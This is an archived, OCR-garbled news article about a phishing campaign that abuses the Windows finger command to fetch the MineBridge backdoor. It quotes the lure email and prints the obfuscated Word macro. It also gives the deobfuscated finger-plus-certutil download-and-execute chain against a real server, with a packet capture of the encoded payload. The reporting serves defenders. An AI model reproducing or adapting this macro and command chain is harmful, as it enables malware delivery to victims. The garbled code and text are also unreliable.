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Windows Finger command abused by phishing to download malware

By Lawrence Abrams

Published: 2021-01-15 - Archived: 2026-04-05 18:42:37 UTC

Attackers are using the normally harmless Windows Finger command to download and install a malicious backdoor on

victims' devices.

The 'Finger' command is a utility that originated in Linux/Unix operating systems that allows a local user to retrieve a list of
users on a remote machine or information about a particular remote user. In addition to Linux, Windows includes a

finger.exe command that performs the same functionality.

To execute the Finger command, a user would enter finger [user]@[remote_host]. For example, finger

bleeping@www.bleepingcomputer.com.
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In September, we reported that security researchers discovered a way to use Finger as a LoLBin to download malware from

a remote computer or exfiltrate data. LolBins are legitimate programs that can help attackers bypass security controls to

fetch malware without triggering a security alert on the system.

Finger used in an active malware campaign

This week, security researcher Kirk Sayre found a phishing campaign utilizing the Finger command to download the
MineBridge backdoor malware.

FireEye first reported on the MineBridge malware after discovering numerous phishing campaigns targeting South Korean

organizations. These phishing emails contain malicious Word documents disguised as job applicant resumes that install the
MineBridge malware.

CV of Jessica Stones

* Recruitment research group <california@agent4career.com>

RR Tuesday, January 28, 2020 at 9:45 AM

Greetings!

We have a wonderful news for you!

Just received a very attractive candidates resume. This person is absolutely
fits all

requirements to work in financial sector, since we have checked background
and credit reports, we are strongly recommend to take

a look closer on CV that we sent you.

Please check CV of Jessica Stones which is attached, and even if you are not
hiring right, it's the candidate that you should
have on mind !

Finding best peoples, for best businesses !
Recruitment research group

MineBridge phishing email

Source: FireEye

Like the previous MineBridge campaigns seen by FireEye, the one discovered by Sayre also pretends to be a resume from a

job applicant, as shown below.
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Malicious MineBridge word document

Source: BleepingComputer

When a victim clicks on the 'Enabled Editing' or 'Enable Content' buttons, a password protected macro will be executed to

download the MineBridge malware and run it.

BleepingComputer was able to bypass the password-protection on the Word macro, which is shown below in its obfuscated

form.

44 MarisaCV - Modulel (Code)
{(General) -~ C

Sub C()

Const SW_NORMAL = 12

ggVRMpPgXWhGACP = "."

Dim 1HmSIThtyMylO As String

1HMSTThtyMy10 = "cmd kkk/C kkkexekkkfingerkkkappdatas"
d = split (IHmSIThtyMylo, "kkk")

Dim merenge As String

Dim meranga As String

meranga = "172.iii.12iii.44iii.s2"

merenge = "184zzz.164zzz.146zzz.102"

Dim arena As String

arena = "certutilooo -decode"

v = Split (arena, "o00o")

7 = Split (merenge, "zzz")

ZQINPBOZIZPXV = d(0) & d(1) & d(3) & " nc20@" & Z(0) & Z(1) & Z(2) & Z(3) & " > " & d(4) & "\vUCooUr >> " & d(4) & "\vUCooUrl && certutil -de

[

Set JYxNdGCyht = GetoObject ("winmgmts: {impersonationLevel=impersonate}!\\" & ggvRmpPgxWhGqCp & "\root\cimv2")

Set IDHOVFzyPy = jYxXNAGCyht.Get ("Win32_ProcessStartup")
Set JuJiDTGFhH = IDHovFzyPy.SpawnInstance

JuJiDTGFhH. ShowWindow = SW_NORMAL
JuJiDTGFhH.PriorityClass = ABOVE_NORMAL

Set OVANidiNZNn = GetObject ("winmgmts:Win32_Process")

Set CekJOKECiPuNd = ovANidiNZNn.Methods_("Cre" & "ate"). _
InParameters.SpawnInstance_

CekJOKECiPuNd.CommandLine = ZQINPBOzIZPXvV
CekJOKECiPuNd. ProcessStartupInformation = JuJiDTGFhH

Set CWEmhdfQWKUOB = OVANidiNZNn.ExecMethod ("Creat™ & "e", CekJOKEciPuNd, Null)
End Sub

= TR e — 3

Obfuscated malicious Word Macro

Source: BleepingComputer

The deobfuscated command executed by the macro, shown below, uses the finger command to download a Base64 encoded

certificate from a remote server and saves it as %AppData%\vUCooUTr.
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finger nc20@184.164.14 02 E A ; data%\

oUrl && certutil -decode %arp z d % a%) Ur.exe
&&cmd /C del %appdata%\vUCooUrl && %appdata%\vUCooUr.e

Deobfuscated command executed by the macro

Source: BleepingComputer

The certificate retrieved via the finger command is a base64 encoded malware downloader malware executable. This

certificate is decoded using the certutil.exe command, saved as %AppData%\vUCooUr.exe, and then executed.

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - 321b5dbbc36ac4946955905f9dd4f44b15df30cbfd7d2be1d8b6171c1ee71b67_DrWeb — O X
nc2e ol
fffff BEGIN CERTIFICATE----- .
TVpgAAEAAAAEAAAA/ / BAALEAAAAAAAAAQ, ARA

AAAAAAAAAAAAAAAAY AAAAAATUEAATANNIbgBTMOhUMVXdW1y ZSBXal5kb3dzDQok
UEUAAEWBBACO3UBQAAAAAAAAAADEAAMBCWE TAABe AQAAAAAAAAAAT 3 JAQAAEAAA
AHABAAAAQAAAEAAAAATAAAQAAAAAAAAABAAAAAAAAAANAMATAAATAABrYAQACAAAA
AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAAS TWEAY ARAAAAAAZBAL WAA

AAARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHABAGWDAAARAAAAAAAAAAAAAAAAAARA
AAAAAAAAAAAUAGVADAAAAPS cAQAAE, F4B, eAABE
LnJkYXRhAACCOQAAAHABAAAGAAAAYAEAAAAAAAAAAAAAAAAAQAAAQCSKYXRhAAAA
JEwAAACWAQAAC gAAAT0BAAAAAAAAAAAAAAAAAEAAAMAUCNNY YWAAAEAVAAAAAATA
ADAAAACKADAAAAAAAAAAAAAAAABAAABAAAAAAAAAAABY1+yhAL 1BATHSBAKAAFMZ
22vDV1d@H2Y5HQKSQQBOB,/ /QowC 5QQBQEHC UAABQENOEAABZ625q]+hnFAAAL 3UT
/3YMiz3AckEA/zZQFYX89v/ /UP/Xg8QUOVAQiV38diNXhT/MA2F/P7/ /21QdEEA
UP/Xg8QMjYX8/v//UL2F /Pb//1D/FXhxQQD/RFyLRfyDumQ7RhByy42F /Pb/ /1Do
YoQAAFnogDgAAGOK/xVOcUEAZPIBIATORP/ / / 8xWi/HoIXMAAMc GoHRBAMAGONTIH
AACLx17DagH/cQT/FbxyQQDDMBASBQC6QQBOB72EQACAGX45RCOIABb/dCQIUGET
gAAA/ ZXAUUEA/ xAckEAMSDCCACLRCQEg2ACAINS JAZAQ FHQBWBAAAAMSDCCACE
EL1BAPbYG8CDAAuDWA]D/3QkETtEIA /dCQQxwUAUUEALXFAAPS@IBCLCFD/UQyD
JQC5QQAAWZPANgWAVOVXiwaFwHQI iwhQ/1EIgyYAXsOLVCQIi@wkBA+3AmalAUFB
Ok ImhcB18cOLTCQEM8BMOQFAC EBmgzxBAHXAw/90IAT /FVRYQQCLTCQIiQH32BVA
JfL/+H8FDgAHgMNT 11wk CFal 8UM7Xgh@TFczyWoCWovD9+IPkMH32QvIUeiwTwEA
i/gzwD1GCF1+HT1GBHAQiwSmiwxBZokMROAZRgR88PE26IRPAQBZiOYELITSmgyRH
AlleCF9eWBIEAFaL8f92X0h1TwEAWYvOXumAbwAAVYvsUVH2BWiSQQABAVZqAGoA
JUX4UP81iL1BAP8VTHFBAIXAdDGLRfwW7RRB3NNII10X400UMcyxgKugnEgAAUO]E
geAlg/gBWV10EccFDL1BAGOAAACABUAAE0SgawlouUEAAY1FDFBQAGEBEAAA/ ZX4
UUEA/xWackEAMBDIwgwAi0QkC IXAdAY jDL1BALgFQACABZpIi3QkCFeNfiSDPWBO
DAtOIT1GNFCDWOj0B80AAATVPEHX+/ /+DfhwAdAz /dkD/di] /FYBxQQBfM8BewggA
VYvsVv91EP8VhHFBAIN9DGGLAQh1B/92KGoebwuDTQxpdQ//dihgH20B6KUCAACD
xAz/dQyLB1b/UBxeXc IMAIMOZL 1BAAJOE+sIahT/FYhxQQCDPF15QQAAdO+LTCQE
1OEMixBWUTPIgz@Muk EAAg+UNVFq/20AUP9SHIMOZL 1BAAKLBHQOagD/Nfi5QQD/
FbxyQQCLx17CBACLTCQE/@kTi0EIdQIRGNINAQBZMSDCBABGEPO@IAZ /dCQMENRN
AQCDxAZz32BvAQMODBCQEBONG/ / / /\VYvsaEiSQQD/dQzozv/ / /AXAWV1OHYtFCIVI
99mNUAQbySPKi1UQiQqLCFD/UQQzwOsYalBAQQD/dQzonv/ / /4XAWV110LgCQACA
XcIMAFaL8TPAVAt8]AyIBolGBI1GCPI3BONY/f///zf/Nugp/f//i@cEWVmMIRgRF
187ewgQAVovxiwaDZgQAZoMgAFf /dCQMEBVI/ /971 /hXi870Q/3///98]Az/Nujt
/P//WmIfgRfi8ZewgQAV1eLfCQML/E7/nQjg2YEAISGZoMgAPI3BOgO/f// /zf/
Nui6/P//i8cEWVmIRgRTi8ZewgQAUAtcIAhWVAL5CIvIK3EET jvefjCD/@B+CYVH
mSvCefjrDzPAg/8ID57ASIPgDIPABIQUMDVTTQQr3ovDA/hXoLL8/ /S fX1vCBABW
VAt8]Az/dwSL8eim// //1OYEiw7 /NABEQVDoQfz/ /AtHBAFGBF1ZXAvGXsIEAINS

JAQFRY3+/ /91 /F7wGoDi0a1ReSIRei0X /7 / /AvGX <P /dCOFURS500N0AP7 / /BYE b

2 cllent plts, 10,043 sarvar plets, 1 turn.

Entire conversation (10 MB) ~ Show and save data as  ASCIL ~ Stream

Find: | | Find Next |
Filter Out This Stream Print Save as... Back Close Help

Base64 encoded malware disguised as a certificate

Source: BleepingComputer

Once executed, the downloader will download a TeamViewer executable and use DLL hijacking to sideload a malicious
DLL, the MineBridge malware.

Once MineBridge is loaded, the remote threat actors will gain full access to the computer and allow them to listen in via the

infected device's microphone, and perform other malicious activities.

"Collectively, the two C2 methods support commands for downloading and executing payloads, downloading arbitrary files,
self-deletion and updating, process listing, shutting down and rebooting the system, executing arbitrary shell commands,
process elevation, turning on/off TeamViewer's microphone, and gathering system UAC information," FireEye explains in

their report.

As Finger is rarely used today;, it is suggested that administrators block the Finger command on their network, whether

through AppLocker or other methods.
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P\CUS

The Validation Gap:
What Automated
Pentesting Alone

Cannot See

A Prac

Automated Pentesting Covers Only 1 of 6 Surfaces.

Automated pentesting proves the path exists. BAS proves whether your controls stop it. Most teams run one without the
other.

This whitepaper maps six validation surfaces, shows where coverage ends, and provides practitioners with three diagnostic

questions for any tool evaluation.
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